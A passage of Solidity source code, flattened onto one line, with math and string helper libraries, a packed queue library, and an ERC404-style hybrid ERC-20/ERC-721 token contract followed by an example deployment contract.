** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256 of a positive value rounded towards zero. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0); } } /** * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers. */ function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) { return uint8(rounding) % 2 == 1; } } library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } library Strings { bytes16 private constant HEX_DIGITS = "0123456789abcdef"; uint8 private constant ADDRESS_LENGTH = 20; /** * @dev The `value` string doesn't fit in the specified `length`. */ error StringsInsufficientHexLength(uint256 value, uint256 length); /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), HEX_DIGITS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toStringSigned(int256 value) internal pure returns (string memory) { return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { uint256 localValue = value; bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = HEX_DIGITS[localValue & 0xf]; localValue >>= 4; } if (localValue != 0) { revert StringsInsufficientHexLength(value, length); } return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal * representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b)); } } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be * reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; } library PackedDoubleEndedQueue { uint128 constant SLOT_MASK = (1 << 64) - 1; uint128 constant INDEX_MASK = SLOT_MASK << 64; uint256 constant SLOT_DATA_MASK = (1 << 16) - 1; /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Invalid slot. */ error InvalidSlot(); /** * @dev Indices and slots are 64 bits to fit within a single storage slot. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint16Deque { uint64 _beginIndex; uint64 _beginSlot; uint64 _endIndex; uint64 _endSlot; mapping(uint64 index => uint256) _data; } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack(Uint16Deque storage deque) internal returns (uint16 value) { unchecked { uint64 backIndex = deque._endIndex; uint64 backSlot = deque._endSlot; if (backIndex == deque._beginIndex && backSlot == deque._beginSlot) revert QueueEmpty(); if (backSlot == 0) { --backIndex; backSlot = 15; } else { --backSlot; } uint256 data = deque._data[backIndex]; value = _getEntry(data, backSlot); deque._data[backIndex] = _setData(data, backSlot, 0); deque._endIndex = backIndex; deque._endSlot = backSlot; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint16Deque storage deque, uint16 value_) internal { unchecked { uint64 frontIndex = deque._beginIndex; uint64 frontSlot = deque._beginSlot; if (frontSlot == 0) { --frontIndex; frontSlot = 15; } else { --frontSlot; } if (frontIndex == deque._endIndex && frontSlot == deque._endSlot) revert QueueFull(); deque._data[frontIndex] = _setData( deque._data[frontIndex], frontSlot, value_ ); deque._beginIndex = frontIndex; deque._beginSlot = frontSlot; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint16Deque storage deque, uint256 index_ ) internal view returns (uint16 value) { if (index_ >= length(deque) * 16) revert QueueOutOfBounds(); unchecked { return _getEntry( deque._data[ deque._beginIndex + uint64(deque._beginSlot + (index_ % 16)) / 16 + uint64(index_ / 16) ], uint64(((deque._beginSlot + index_) % 16)) ); } } /** * @dev Returns the number of items in the queue. */ function length(Uint16Deque storage deque) internal view returns (uint256) { unchecked { return (16 - deque._beginSlot) + deque._endSlot + deque._endIndex * 16 - deque._beginIndex * 16 - 16; } } /** * @dev Returns true if the queue is empty. */ function empty(Uint16Deque storage deque) internal view returns (bool) { return deque._endSlot == deque._beginSlot && deque._endIndex == deque._beginIndex; } function _setData( uint256 data_, uint64 slot_, uint16 value ) private pure returns (uint256) { return (data_ & (~_getSlotMask(slot_))) + (uint256(value) << (16 * slot_)); } function _getEntry(uint256 data, uint64 slot_) private pure returns (uint16) { return uint16((data & _getSlotMask(slot_)) >> (16 * slot_)); } function _getSlotMask(uint64 slot_) private pure returns (uint256) { return SLOT_DATA_MASK << (slot_ * 16); } } library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); } library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); } abstract contract ERC404U16 is IERC404 { using PackedDoubleEndedQueue for PackedDoubleEndedQueue.Uint16Deque; /// @dev The queue of ERC-721 tokens stored in the contract. PackedDoubleEndedQueue.Uint16Deque private _storedERC721Ids; /// @dev Token name string public name; /// @dev Token symbol string public symbol; /// @dev Decimals for ERC-20 representation uint8 public immutable decimals; /// @dev Units for ERC-20 representation uint256 public immutable units; /// @dev Total supply in ERC-20 representation uint256 public totalSupply; /// @dev Current mint counter which also represents the highest /// minted id, monotonically increasing to ensure accurate ownership uint256 public minted; /// @dev Initial chain id for EIP-2612 support uint256 internal immutable _INITIAL_CHAIN_ID; /// @dev Initial domain separator for EIP-2612 support bytes32 internal immutable _INITIAL_DOMAIN_SEPARATOR; /// @dev Balance of user in ERC-20 representation mapping(address => uint256) public balanceOf; /// @dev Allowance of user in ERC-20 representation mapping(address => mapping(address => uint256)) public allowance; /// @dev Approval in ERC-721 representaion mapping(uint256 => address) public getApproved; /// @dev Approval for all in ERC-721 representation mapping(address => mapping(address => bool)) public isApprovedForAll; /// @dev Packed representation of ownerOf and owned indices mapping(uint256 => uint256) internal _ownedData; /// @dev Array of owned ids in ERC-721 representation mapping(address => uint16[]) internal _owned; /// @dev Addresses that are exempt from ERC-721 transfer, typically for gas savings (pairs, routers, etc) mapping(address => bool) internal _erc721TransferExempt; /// @dev EIP-2612 nonces mapping(address => uint256) public nonces; /// @dev Address bitmask for packed ownership data uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; /// @dev Owned index bitmask for packed ownership data uint256 private constant _BITMASK_OWNED_INDEX = ((1 << 96) - 1) << 160; /// @dev Constant for token id encoding uint256 public constant ID_ENCODING_PREFIX = 1 << 255; constructor(string memory name_, string memory symbol_, uint8 decimals_) { name = name_; symbol = symbol_; if (decimals_ < 18) { revert DecimalsTooLow(); } decimals = decimals_; units = 10 ** decimals; // EIP-2612 initialization _INITIAL_CHAIN_ID = block.chainid; _INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator(); } /// @notice Function to find owner of a given ERC-721 token function ownerOf( uint256 id_ ) public view virtual returns (address erc721Owner) { erc721Owner = _getOwnerOf(id_); if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } if (erc721Owner == address(0)) { revert NotFound(); } } function owned( address owner_ ) public view virtual returns (uint256[] memory) { uint256[] memory ownedAsU256 = new uint256[](_owned[owner_].length); for (uint256 i = 0; i < _owned[owner_].length; ) { ownedAsU256[i] = ID_ENCODING_PREFIX + _owned[owner_][i]; unchecked { ++i; } } return ownedAsU256; } function erc721BalanceOf( address owner_ ) public view virtual returns (uint256) { return _owned[owner_].length; } function erc20BalanceOf( address owner_ ) public view virtual returns (uint256) { return balanceOf[owner_]; } function erc20TotalSupply() public view virtual returns (uint256) { return totalSupply; } function erc721TotalSupply() public view virtual returns (uint256) { return minted; } function getERC721QueueLength() public view virtual returns (uint256) { return _storedERC721Ids.length(); } function getERC721TokensInQueue( uint256 start_, uint256 count_ ) public view virtual returns (uint256[] memory) { uint256[] memory tokensInQueue = new uint256[](count_); for (uint256 i = start_; i < start_ + count_; ) { tokensInQueue[i - start_] = ID_ENCODING_PREFIX + _storedERC721Ids.at(i); unchecked { ++i; } } return tokensInQueue; } /// @notice tokenURI must be implemented by child contract function tokenURI(uint256 id_) public view virtual returns (string memory); /// @notice Function for token approvals /// @dev This function assumes the operator is attempting to approve an ERC-721 /// if valueOrId is less than the minted count. Unlike setApprovalForAll, /// spender_ must be allowed to be 0x0 so that approval can be revoked. function approve( address spender_, uint256 valueOrId_ ) public virtual returns (bool) { // The ERC-721 tokens are 1-indexed, so 0 is not a valid id and indicates that // operator is attempting to set the ERC-20 allowance to 0. if (_isValidTokenId(valueOrId_)) { erc721Approve(spender_, valueOrId_); } else { return erc20Approve(spender_, valueOrId_); } return true; } function erc721Approve(address spender_, uint256 id_) public virtual { // Intention is to approve as ERC-721 token (id). address erc721Owner = _getOwnerOf(id_); if ( msg.sender != erc721Owner && !isApprovedForAll[erc721Owner][msg.sender] ) { revert Unauthorized(); } getApproved[id_] = spender_; emit ERC721Events.Approval(erc721Owner, spender_, id_); } /// @dev Providing type(uint256).max for approval value results in an /// unlimited approval that is not deducted from on transfers. function erc20Approve( address spender_, uint256 value_ ) public virtual returns (bool) { // Prevent granting 0x0 an ERC-20 allowance. if (spender_ == address(0)) { revert InvalidSpender(); } // Intention is to approve as ERC-20 token (value). allowance[msg.sender][spender_] = value_; emit ERC20Events.Approval(msg.sender, spender_, value_); return true; } /// @notice Function for ERC-721 approvals function setApprovalForAll(address operator_, bool approved_) public virtual { // Prevent approvals to 0x0. if (operator_ == address(0)) { revert InvalidOperator(); } isApprovedForAll[msg.sender][operator_] = approved_; emit ERC721Events.ApprovalForAll(msg.sender, operator_, approved_); } /// @notice Function for mixed transfers from an operator that may be different than 'from'. /// @dev This function assumes the operator is attempting to transfer an ERC-721 /// if valueOrId is less than or equal to current max id. function transferFrom( address from_, address to_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721TransferFrom(from_, to_, valueOrId_); } else { // Intention is to transfer as ERC-20 token (value). return erc20TransferFrom(from_, to_, valueOrId_); } return true; } /// @notice Function for ERC-721 transfers from. /// @dev This function is recommended for ERC721 transfers function erc721TransferFrom( address from_, address to_, uint256 id_ ) public virtual { // Prevent transferring tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } if (from_ != _getOwnerOf(id_)) { revert Unauthorized(); } // Check that the operator is either the sender or approved for the transfer. if ( msg.sender != from_ && !isApprovedForAll[from_][msg.sender] && msg.sender != getApproved[id_] ) { revert Unauthorized(); } if (erc721TransferExempt(to_)) { revert RecipientIsERC721TransferExempt(); } // Transfer 1 * units ERC-20 and 1 ERC-721 token. // ERC-721 transfer exemptions handled above. Can't make it to this point if either is transfer exempt. _transferERC20(from_, to_, units); _transferERC721(from_, to_, id_); } /// @notice Function for ERC-20 transfers from. /// @dev This function is recommended for ERC20 transfers function erc20TransferFrom( address from_, address to_, uint256 value_ ) public virtual returns (bool) { // Prevent transferring tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Intention is to transfer as ERC-20 token (value). uint256 allowed = allowance[from_][msg.sender]; // Check that the operator has sufficient allowance. if (allowed != type(uint256).max) { allowance[from_][msg.sender] = allowed - value_; } // Transferring ERC-20s directly requires the _transfer function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(from_, to_, value_); } /// @notice Function for ERC-20 transfers. /// @dev This function assumes the operator is attempting to transfer as ERC-20 /// given this function is only supported on the ERC-20 interface. /// Treats even small amounts that are valid ERC-721 ids as ERC-20s. function transfer(address to_, uint256 value_) public virtual returns (bool) { // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Transferring ERC-20s directly requires the _transfer function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(msg.sender, to_, value_); } /// @notice Function for ERC-721 transfers with contract support. /// This function only supports moving valid ERC-721 ids, as it does not exist on the ERC-20 /// spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_ ) public virtual { safeTransferFrom(from_, to_, id_, ""); } /// @notice Function for ERC-721 transfers with contract support and callback data. /// This function only supports moving valid ERC-721 ids, as it does not exist on the /// ERC-20 spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_, bytes memory data_ ) public virtual { if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } transferFrom(from_, to_, id_); if ( to_.code.length != 0 && IERC721Receiver(to_).onERC721Received(msg.sender, from_, id_, data_) != IERC721Receiver.onERC721Received.selector ) { revert UnsafeRecipient(); } } /// @notice Function for EIP-2612 permits /// @dev Providing type(uint256).max for permit value results in an /// unlimited approval that is not deducted from on transfers. function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) public virtual { if (deadline_ < block.timestamp) { revert PermitDeadlineExpired(); } if (_isValidTokenId(value_)) { revert InvalidApproval(); } if (spender_ == address(0)) { revert InvalidSpender(); } unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner_, spender_, value_, nonces[owner_]++, deadline_ ) ) ) ), v_, r_, s_ ); if (recoveredAddress == address(0) || recoveredAddress != owner_) { revert InvalidSigner(); } allowance[recoveredAddress][spender_] = value_; } emit ERC20Events.Approval(owner_, spender_, value_); } /// @notice Returns domain initial domain separator, or recomputes if chain id is not equal to initial chain id function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == _INITIAL_CHAIN_ID ? _INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator(); } function supportsInterface( bytes4 interfaceId ) public view virtual returns (bool) { return interfaceId == type(IERC404).interfaceId || interfaceId == type(IERC165).interfaceId; } /// @notice Function for self-exemption function setSelfERC721TransferExempt(bool state_) public virtual { _setERC721TransferExempt(msg.sender, state_); } /// @notice Function to check if address is transfer exempt function erc721TransferExempt( address target_ ) public view virtual returns (bool) { return target_ == address(0) || _erc721TransferExempt[target_]; } /// @notice For a token token id to be considered valid, it just needs /// to fall within the range of possible token ids, it does not /// necessarily have to be minted yet. function _isValidTokenId(uint256 id_) internal pure returns (bool) { return id_ > ID_ENCODING_PREFIX && id_ != type(uint256).max; } /// @notice Internal function to compute domain separator for EIP-2612 permits function _computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /// @notice This is the lowest level ERC-20 transfer function, which /// should be used for both normal ERC-20 transfers as well as minting. /// Note that this function allows transfers to and from 0x0. function _transferERC20( address from_, address to_, uint256 value_ ) internal virtual { // Minting is a special case for which we should not check the balance of // the sender, and we should increase the total supply. if (from_ == address(0)) { totalSupply += value_; } else { // Deduct value from sender's balance. balanceOf[from_] -= value_; } // Update the recipient's balance. // Can be unchecked because on mint, adding to totalSupply is checked, and on transfer balance deduction is checked. unchecked { balanceOf[to_] += value_; } emit ERC20Events.Transfer(from_, to_, value_); } /// @notice Consolidated record keeping function for transferring ERC-721s. /// @dev Assign the token to the new owner, and remove from the old owner. /// Note that this function allows transfers to and from 0x0. /// Does not handle ERC-721 exemptions. function _transferERC721( address from_, address to_, uint256 id_ ) internal virtual { // If this is not a mint, handle record keeping for transfer from previous owner. if (from_ != address(0)) { // On transfer of an NFT, any previous approval is reset. delete getApproved[id_]; uint256 updatedId = ID_ENCODING_PREFIX + _owned[from_][_owned[from_].length - 1]; if (updatedId != id_) { uint256 updatedIndex = _getOwnedIndex(id_); // update _owned for sender _owned[from_][updatedIndex] = uint16(updatedId); // update index for the moved id _setOwnedIndex(updatedId, updatedIndex); } // pop _owned[from_].pop(); } // Check if this is a burn. if (to_ != address(0)) { // If not a burn, update the owner of the token to the new owner. // Update owner of the token to the new owner. _setOwnerOf(id_, to_); // Push token onto the new owner's stack. _owned[to_].push(uint16(id_)); // Update index for new owner's stack. _setOwnedIndex(id_, _owned[to_].length - 1); } else { // If this is a burn, reset the owner of the token to 0x0 by deleting the token from _ownedData. delete _ownedData[id_]; } emit ERC721Events.Transfer(from_, to_, id_); } /// @notice Internal function for ERC-20 transfers. Also handles any ERC-721 transfers that may be required. // Handles ERC-721 exemptions. function _transferERC20WithERC721( address from_, address to_, uint256 value_ ) internal virtual returns (bool) { uint256 erc20BalanceOfSenderBefore = erc20BalanceOf(from_); uint256 erc20BalanceOfReceiverBefore = erc20BalanceOf(to_); _transferERC20(from_, to_, value_); // Preload for gas savings on branches bool isFromERC721TransferExempt = erc721TransferExempt(from_); bool isToERC721TransferExempt = erc721TransferExempt(to_); // Skip _withdrawAndStoreERC721 and/or _retrieveOrMintERC721 for ERC-721 transfer exempt addresses // 1) to save gas // 2) because ERC-721 transfer exempt addresses won't always have/need ERC-721s corresponding to their ERC20s. if (isFromERC721TransferExempt && isToERC721TransferExempt) { // Case 1) Both sender and recipient are ERC-721 transfer exempt. No ERC-721s need to be transferred. // NOOP. } else if (isFromERC721TransferExempt) { // Case 2) The sender is ERC-721 transfer exempt, but the recipient is not. Contract should not attempt // to transfer ERC-721s from the sender, but the recipient should receive ERC-721s // from the bank/minted for any whole number increase in their balance. // Only cares about whole number increments. uint256 tokensToRetrieveOrMint = (balanceOf[to_] / units) - (erc20BalanceOfReceiverBefore / units); for (uint256 i = 0; i < tokensToRetrieveOrMint; ) { _retrieveOrMintERC721(to_); unchecked { ++i; } } } else if (isToERC721TransferExempt) { // Case 3) The sender is not ERC-721 transfer exempt, but the recipient is. Contract should attempt // to withdraw and store ERC-721s from the sender, but the recipient should not // receive ERC-721s from the bank/minted. // Only cares about whole number increments. uint256 tokensToWithdrawAndStore = (erc20BalanceOfSenderBefore / units) - (balanceOf[from_] / units); for (uint256 i = 0; i < tokensToWithdrawAndStore; ) { _withdrawAndStoreERC721(from_); unchecked { ++i; } } } else { // Case 4) Neither the sender nor the recipient are ERC-721 transfer exempt. // Strategy: // 1. First deal with the whole tokens. These are easy and will just be transferred. // 2. Look at the fractional part of the value: // a) If it causes the sender to lose a whole token that was represented by an NFT due to a // fractional part being transferred, withdraw and store an additional NFT from the sender. // b) If it causes the receiver to gain a whole new token that should be represented by an NFT // due to receiving a fractional part that completes a whole token, retrieve or mint an NFT to the recevier. // Whole tokens worth of ERC-20s get transferred as ERC-721s without any burning/minting. uint256 nftsToTransfer = value_ / units; for (uint256 i = 0; i < nftsToTransfer; ) { // Pop from sender's ERC-721 stack and transfer them (LIFO) uint256 indexOfLastToken = _owned[from_].length - 1; uint256 tokenId = ID_ENCODING_PREFIX + _owned[from_][indexOfLastToken]; _transferERC721(from_, to_, tokenId); unchecked { ++i; } } // If the sender's transaction changes their holding from a fractional to a non-fractional // amount (or vice versa), adjust ERC-721s. // // Check if the send causes the sender to lose a whole token that was represented by an ERC-721 // due to a fractional part being transferred. if ( erc20BalanceOfSenderBefore / units - erc20BalanceOf(from_) / units > nftsToTransfer ) { _withdrawAndStoreERC721(from_); } if ( erc20BalanceOf(to_) / units - erc20BalanceOfReceiverBefore / units > nftsToTransfer ) { _retrieveOrMintERC721(to_); } } return true; } /// @notice Internal function for ERC20 minting /// @dev This function will allow minting of new ERC20s. /// If mintCorrespondingERC721s_ is true, and the recipient is not ERC-721 exempt, it will /// also mint the corresponding ERC721s. /// Handles ERC-721 exemptions. function _mintERC20(address to_, uint256 value_) internal virtual { /// You cannot mint to the zero address (you can't mint and immediately burn in the same transfer). if (to_ == address(0)) { revert InvalidRecipient(); } if (totalSupply + value_ > ID_ENCODING_PREFIX) { revert MintLimitReached(); } _transferERC20WithERC721(address(0), to_, value_); } /// @notice Internal function for ERC-721 minting and retrieval from the bank. /// @dev This function will allow minting of new ERC-721s up to the total fractional supply. It will /// first try to pull from the bank, and if the bank is empty, it will mint a new token. /// Does not handle ERC-721 exemptions. function _retrieveOrMintERC721(address to_) internal virtual { if (to_ == address(0)) { revert InvalidRecipient(); } uint256 id; if (!_storedERC721Ids.empty()) { // If there are any tokens in the bank, use those first. // Pop off the end of the queue (FIFO). id = ID_ENCODING_PREFIX + _storedERC721Ids.popBack(); } else { // Otherwise, mint a new token, should not be able to go over the total fractional supply. ++minted; // Reserve max uint256 for approvals if (minted == type(uint256).max) { revert MintLimitReached(); } id = ID_ENCODING_PREFIX + minted; } address erc721Owner = _getOwnerOf(id); // The token should not already belong to anyone besides 0x0 or this contract. // If it does, something is wrong, as this should never happen. if (erc721Owner != address(0)) { revert AlreadyExists(); } // Transfer the token to the recipient, either transferring from the contract's bank or minting. // Does not handle ERC-721 exemptions. _transferERC721(erc721Owner, to_, id); } /// @notice Internal function for ERC-721 deposits to bank (this contract). /// @dev This function will allow depositing of ERC-721s to the bank, which can be retrieved by future minters. // Does not handle ERC-721 exemptions. function _withdrawAndStoreERC721(address from_) internal virtual { if (from_ == address(0)) { revert InvalidSender(); } // Retrieve the latest token added to the owner's stack (LIFO). uint256 id = ID_ENCODING_PREFIX + _owned[from_][_owned[from_].length - 1]; // Transfer to 0x0. // Does not handle ERC-721 exemptions. _transferERC721(from_, address(0), id); // Record the token in the contract's bank queue. _storedERC721Ids.pushFront(uint16(id)); } /// @notice Initialization function to set pairs / etc, saving gas by avoiding mint / burn on unnecessary targets function _setERC721TransferExempt( address target_, bool state_ ) internal virtual { if (target_ == address(0)) { revert InvalidExemption(); } // Adjust the ERC721 balances of the target to respect exemption rules. // Despite this logic, it is still recommended practice to exempt prior to the target // having an active balance. if (state_) { _clearERC721Balance(target_); } else { _reinstateERC721Balance(target_); } _erc721TransferExempt[target_] = state_; } /// @notice Function to reinstate balance on exemption removal function _reinstateERC721Balance(address target_) private { uint256 expectedERC721Balance = erc20BalanceOf(target_) / units; uint256 actualERC721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < expectedERC721Balance - actualERC721Balance; ) { // Transfer ERC721 balance in from pool _retrieveOrMintERC721(target_); unchecked { ++i; } } } /// @notice Function to clear balance on exemption inclusion function _clearERC721Balance(address target_) private { uint256 erc721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < erc721Balance; ) { // Transfer out ERC721 balance _withdrawAndStoreERC721(target_); unchecked { ++i; } } } function _getOwnerOf( uint256 id_ ) internal view virtual returns (address ownerOf_) { uint256 data = _ownedData[id_]; assembly { ownerOf_ := and(data, _BITMASK_ADDRESS) } } function _setOwnerOf(uint256 id_, address owner_) internal virtual { uint256 data = _ownedData[id_]; assembly { data := add( and(data, _BITMASK_OWNED_INDEX), and(owner_, _BITMASK_ADDRESS) ) } _ownedData[id_] = data; } function _getOwnedIndex( uint256 id_ ) internal view virtual returns (uint256 ownedIndex_) { uint256 data = _ownedData[id_]; assembly { ownedIndex_ := shr(160, data) } } function _setOwnedIndex(uint256 id_, uint256 index_) internal virtual { uint256 data = _ownedData[id_]; if (index_ > _BITMASK_OWNED_INDEX >> 160) { revert OwnedIndexOverflow(); } assembly { data := add( and(data, _BITMASK_ADDRESS), and(shl(160, index_), _BITMASK_OWNED_INDEX) ) } _ownedData[id_] = data; } } //SPDX-License-Identifier: MIT contract ERC404ExampleU16 is Ownable, ERC404U16 { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 maxTotalSupplyERC721_, address initialOwner_, address initialMintRecipient_ ) ERC404U16(name_, symbol_, decimals_) Ownable(initialOwner_) { // Do not mint the ERC721s to the initial owner, as it's a waste of gas. _setERC721TransferExempt(initialMintRecipient_, true); _mintERC20(initialMintRecipient_, maxTotalSupplyERC721_ * units); } function tokenURI(uint256 id_) public pure override returns (string memory) { return string.concat("https://example.com/token/", Strings.toString(id_)); } function setERC721TransferExempt( address account_, bool value_ ) external onlyOwner { _setERC721TransferExempt(account_, value_); } }
